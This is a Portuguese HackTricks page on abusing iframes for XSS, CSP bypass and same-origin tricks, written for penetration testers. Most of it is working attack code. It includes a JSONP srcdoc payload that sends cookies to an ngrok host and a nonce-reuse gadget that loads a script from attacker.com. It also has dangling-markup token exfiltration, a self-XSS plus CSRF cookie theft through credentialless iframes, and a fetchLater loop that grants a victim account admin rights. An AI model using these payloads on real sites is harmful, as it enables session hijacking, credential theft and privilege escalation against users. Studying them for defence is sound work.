Iframes em XSS, CSP e SOP
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
Iframes em XSS
Existem 3 maneiras de indicar o conteúdo de uma página em iframe:
- Via
srcindicando uma URL (a URL pode ser cross origin ou same origin) - Via
srcindicando o conteúdo usando o protocolodata: - Via
srcdocindicando o conteúdo
Acessando variáveis do Parent & Child
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
Se você acessar o HTML anterior via um servidor http (como python3 -m http.server) você notará que todos os scripts serão executados (já que não há CSP impedindo isso)., o parent não conseguirá acessar a var secret dentro de nenhum iframe e apenas os iframes if2 & if3 (que são considerados same-site) podem acessar o secret na janela original.
Observe como if4 é considerado ter origem null.
Peculiaridades de srcdoc que importam em exploits reais
Dois detalhes sobre srcdoc são fáceis de perder durante a exploração:
- A menos que o frame esteja sandboxed sem
allow-same-origin, um documentosrcdocé same-origin with the parent. Portanto, injetar HTML controlado pelo atacante emsrcdocgeralmente equivale a dar acesso direto ao DOM do documento topo. - Mesmo que a URL do documento seja
about:srcdoc, URLs relativas são resolvidas usando a URL da página de embed como base. Isso significa que payloads como<script src="/upload/payload.js"></script>ou<img src="/internal/debug">irão mirar a origem do parent, nãoabout:srcdoc.
Payload prático:
<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>
Isto é especialmente útil quando você controla apenas a marcação, mas conhece um caminho same-origin que retorna JavaScript, JSONP ou HTML controlados pelo atacante sem um CSP restritivo.
Iframes with CSP
Tip
Note que, nos bypasses seguintes, a resposta da página dentro do iframe não contém nenhum cabeçalho CSP que impeça a execução de JS.
O valor self de script-src não permite a execução de código JS usando o protocolo data: ou o atributo srcdoc.
No entanto, mesmo o valor none da CSP permitirá a execução dos iframes que colocam uma URL (completa ou apenas o caminho) no atributo src.
Portanto, é possível contornar a CSP de uma página com:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Repare como a CSP anterior permite apenas a execução do script inline.
No entanto, apenas os scripts if1 e if2 serão executados, mas apenas if1 poderá acessar o segredo da janela pai.
.png)
Portanto, é possível bypassar uma CSP se você conseguir fazer upload de um arquivo JS para o servidor e carregá-lo via iframe mesmo com script-src 'none'. Isso pode potencialmente ser feito também abusando de um endpoint JSONP same-site.
Você pode testar isso com o seguinte cenário onde um cookie é roubado mesmo com script-src 'none'. Basta executar a aplicação e acessá-la com seu navegador:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Novas (2023-2025) técnicas de bypass de CSP com iframes
A comunidade de pesquisa continua descobrindo maneiras criativas de abusar de iframes para contornar políticas restritivas. Abaixo estão as técnicas mais notáveis publicadas nos últimos anos:
- Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Quando uma aplicação reflete HTML mas uma CSP forte bloqueia a execução de scripts, ainda é possível vazar tokens sensíveis injetando um atributo dangling
<iframe name>. Uma vez que o markup parcial é parseado, o script atacante executando em uma origem separada navega o frame paraabout:blanke lêwindow.name, que agora contém tudo até o próximo caractere de aspas (por exemplo um token CSRF). Como nenhum JavaScript roda no contexto da vítima, o ataque geralmente evadescript-src 'none'. Um PoC mínimo é:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
- Nonce reuse via same-origin iframe – CSP nonces são legíveis a partir do DOM por documentos same-origin. Se um atacante puder injetar ou fazer upload de uma página HTML same-origin e carregá-la em um iframe, o frame filho pode ler
top.document.querySelector('[nonce]').noncee criar novos elementos<script nonce>. Isso transforma uma injeção de HTML same-origin em execução total de script mesmo sobstrict-dynamic(porque o nonce já é confiável). O seguinte gadget escala uma injeção de markup para XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
- Form-action hijacking (PortSwigger 2024) – Uma página que omite a diretiva
form-actionpode ter seu formulário de login re-targeted a partir de um iframe injetado ou HTML inline, de forma que password managers preencham automaticamente e submetam credenciais para um domínio externo, mesmo quandoscript-src 'none'está presente. Sempre complementedefault-srccomform-action!
Notas de defesa (checklist rápido)
- Sempre envie todas as diretivas CSP que controlam contextos secundários (
form-action,frame-src,child-src,object-src, etc.). - Não confie que nonces são secretos—use
strict-dynamice elimine pontos de injeção. - Quando precisar embutir documentos não confiáveis, use
sandbox="allow-scripts allow-same-origin"com muita cautela (ou semallow-same-originse você só precisa de isolamento de execução de scripts). - Considere uma implantação COOP+COEP em defesa em profundidade; o novo atributo
<iframe credentialless>(§ abaixo) permite isso sem quebrar embeds de terceiros.
Outros payloads encontrados ‘in the wild’
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Sandbox de iframe
O conteúdo dentro de um iframe pode ser sujeito a restrições adicionais por meio do uso do atributo sandbox. Por padrão, esse atributo não é aplicado, o que significa que nenhuma restrição está em vigor.
Quando utilizado, o atributo sandbox impõe várias limitações:
- O conteúdo é tratado como se viesse de uma origem única.
- Qualquer tentativa de enviar formulários é bloqueada.
- A execução de scripts é proibida.
- O acesso a certas APIs é desativado.
- Impede que links interajam com outros contextos de navegação.
- O uso de plugins via
<embed>,<object>,<applet>ou tags similares é proibido. - Evita que o conteúdo navegue pelo contexto de navegação de nível superior.
- Recursos que são acionados automaticamente, como reprodução de vídeo ou auto-foco em controles de formulário, são bloqueados.
Dica: Navegadores modernos suportam flags granulares como allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, etc. Combine-os para conceder apenas as capacidades mínimas necessárias pela aplicação embutida.
O valor do atributo pode ser deixado vazio (sandbox="") para aplicar todas as restrições mencionadas acima. Alternativamente, pode ser definido como uma lista de valores separados por espaço que isentam o iframe de certas restrições.
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
Se a página incorporada for same-origin e você conceder tanto allow-scripts quanto allow-same-origin, o sandbox torna-se uma fronteira muito fraca. O filho pode executar JavaScript, acessar top.document e até remover o atributo sandbox do seu próprio elemento <iframe>:
const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"
Na prática, sandbox="allow-scripts allow-same-origin" deve ser tratado como inseguro para conteúdo same-origin influenciado por um atacante. Ainda é útil para alguns embeds de terceiros, mas não é uma barreira de isolamento contra HTML same-origin hostil.
Credentialless iframes
As explained in this article, the credentialless flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
Since Chrome 110 (February 2023) the feature is enabled by default and the spec is being standardized across browsers under the name anonymous iframe. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:
- Scripts em diferentes credentialless iframes ainda compartilham a mesma top-level origin e podem interagir livremente via DOM, tornando ataques self-XSS multi-iframe viáveis (see PoC abaixo).
- Como a rede é credential-stripped, qualquer requisição dentro do iframe se comporta efetivamente como uma sessão não autenticada – endpoints protegidos por CSRF geralmente falham, mas páginas públicas leakable via DOM ainda estão no escopo.
- O storage é partitioned by a top-level document nonce: credentialless frames na mesma página podem compartilhar storage entre si, mas ele é limpo quando o top-level document é descartado.
- Pop-ups gerados a partir de um credentialless iframe recebem implicitamente
rel="noopener", quebrando alguns OAuth flows. - Espera-se que os browsers disable autofill/password managers dentro de credentialless iframes, limitando credential theft via autofill nesses contextos.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
- Exemplo de exploit: Self-XSS + CSRF
Neste ataque, o atacante prepara uma página maliciosa com 2 iframes:
- Um iframe que carrega a página da vítima com a flag
credentiallesse com um CSRF que dispara um XSS (Imagine um Self-XSS no username do usuário):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- Outro iframe que de fato tem o usuário autenticado (sem a flag
credentialless).
Então, a partir do XSS é possível acessar o outro iframe, pois eles têm a mesma SOP, e roubar o cookie, por exemplo executando:
alert(window.top[1].document.cookie);
fetchLater Attack
As indicated in this article the API fetchLater allows configuring a request to be executed later. This can be abused to, for example, login a victim inside an attacker’s session (with Self-XSS), schedule a fetchLater request (to change the password of the current user for example), and logout from the attacker’s session. Then, when the victim logs into their own session, the deferred request can execute using the cookies available at dispatch time, changing the password of the victim to the one set by the attacker.
Notas operacionais:
fetchLaterentered Chrome origin trial in 2024 and shipped in Chrome 135 (April 2025), so feature-detect before relying on it.- The response is not available to JavaScript; body/headers are ignored once the deferred request is sent.
- CSP enforcement uses
connect-src(notscript-src) for deferred requests. - Requests fire on page unload or when
activateAfterexpires (whichever happens first). - The maximum single delay is currently
299000ms, so long waits require re-scheduling several deferred requests.
Dessa forma, mesmo que a URL da vítima não possa ser carregada em um iframe (devido a CSP ou outras restrições), o atacante ainda pode executar uma requisição na sessão da vítima.
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})
Iframes na SOP
Confira as páginas a seguir:
Bypassing SOP with Iframes - 1
Bypassing SOP with Iframes - 2
Blocking main page to steal postmessage
Steal postmessage modifying iframe location
Referências
- PortSwigger Research – Using form hijacking to bypass CSP (March 2024)
- PortSwigger Research – Bypassing CSP with dangling iframes (Jun 2022)
- Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)
- MDN – Window.fetchLater()
- MDN –
<iframe>element - MDN –
HTMLIFrameElement.srcdoc
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.


